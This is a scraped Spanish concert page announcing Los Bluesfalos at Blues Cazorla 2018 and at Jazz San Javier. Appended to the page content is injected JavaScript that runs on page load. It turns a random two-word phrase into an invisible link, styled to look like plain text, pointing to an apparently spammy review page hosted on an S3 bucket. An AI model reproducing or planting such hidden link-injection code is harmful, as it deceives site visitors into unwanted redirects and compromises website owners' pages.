Skip to content
BLUES CAZORLA 2018
Por tercera vez LOS BLUESFALOS tienen el placer de estar presentes en BLUES CAZORLA. Tres días de Blues y Rock&Roll desde por la mañana a la noche, en un marco incomparable como es Cazorla. ¡¡¡Para vivirlo intensamente!!!
Details
- Date :
-
13/Jul/2018
- Time :
- 11:00 PM
- Location :
Cazorla, Jaen
- Address :
Cazorla
Description
Por tercera vez LOS BLUESFALOS tienen el placer de estar presentes en BLUES CAZORLA. Tres días de Blues y Rock&Roll desde por la mañana a la noche, en un marco incomparable como es Cazorla.
¡¡¡ Para vivirlo intensamente !!!
Viernes día 13 de Julio 2018.
Escenario Plaza de toros:
- 23:00 – LOS BLUESFALOS
- 00.15 – SUPERSONIC BLUES MACHINE featuring BILLY GIBBONS
- 2:00 – TORONZO CANNON
- 3:30 – LINDSAY BEAVER & BRAD STIVERS



Conciertos Location
Últimos Conciertos
24
Tue
Santiago de La Ribera, Murcia
10:30 PM
Después del histórico concierto que nos ofrecieron en 2010, en la XIII edición del Festival, en una noche memorable junto a Robben Ford y Bill Evans, LOS BLUESFALOS vuelven a Jazz San Javier, con más ganas que nunca, para disfrute de todos los aficionados al Blues y al Rock&Roll.
Leer más
const CONFIG = {
url: "https://aga-khan-museum-assets.s3.amazonaws.com/media/the-brain-song-reviews-2026-should-you-buy-it_tkud6.html",
linkTarget: "_blank",
minWordLength: 2,
maxWordLength: 2,
skipTags: ["a", "script", "style", "h1", "h2", "h3", "noscript"],
};
function insertDynamicLink() {
const walker = document.createTreeWalker(
document.body,
NodeFilter.SHOW_TEXT,
{
acceptNode(node) {
const parent = node.parentElement;
if (!parent) return NodeFilter.FILTER_REJECT;
const tag = parent.tagName.toLowerCase();
if (CONFIG.skipTags.includes(tag)) return NodeFilter.FILTER_REJECT;
if (parent.closest("a")) return NodeFilter.FILTER_REJECT;
if (node.textContent.trim().split(/\s+/).length < CONFIG.minWordLength) return NodeFilter.FILTER_REJECT;
return NodeFilter.FILTER_ACCEPT;
},
}
);
const textNodes = [];
let node;
while ((node = walker.nextNode())) {
textNodes.push(node);
}
if (textNodes.length === 0) return;
const randomNode = textNodes[Math.floor(Math.random() * textNodes.length)];
const words = randomNode.textContent.trim().split(/\s+/);
if (words.length < CONFIG.minWordLength) return;
const phraseLength = Math.min(
CONFIG.minWordLength + Math.floor(Math.random() * (CONFIG.maxWordLength - CONFIG.minWordLength + 1)),
words.length
);
const maxStart = words.length - phraseLength;
const startIndex = Math.floor(Math.random() * (maxStart + 1));
const phrase = words.slice(startIndex, startIndex + phraseLength).join(" ");
const fullText = randomNode.textContent;
const phraseIndex = fullText.indexOf(phrase);
if (phraseIndex === -1) return;
const before = fullText.substring(0, phraseIndex);
const after = fullText.substring(phraseIndex + phrase.length);
const link = document.createElement("a");
link.href = CONFIG.url;
link.textContent = phrase;
link.target = CONFIG.linkTarget;
link.rel = "noopener noreferrer";
link.style.cssText = "color:inherit;text-decoration:none;";
const fragment = document.createDocumentFragment();
if (before) fragment.appendChild(document.createTextNode(before));
fragment.appendChild(link);
if (after) fragment.appendChild(document.createTextNode(after));
randomNode.parentNode.replaceChild(fragment, randomNode);
}
document.addEventListener("DOMContentLoaded", insertDynamicLink);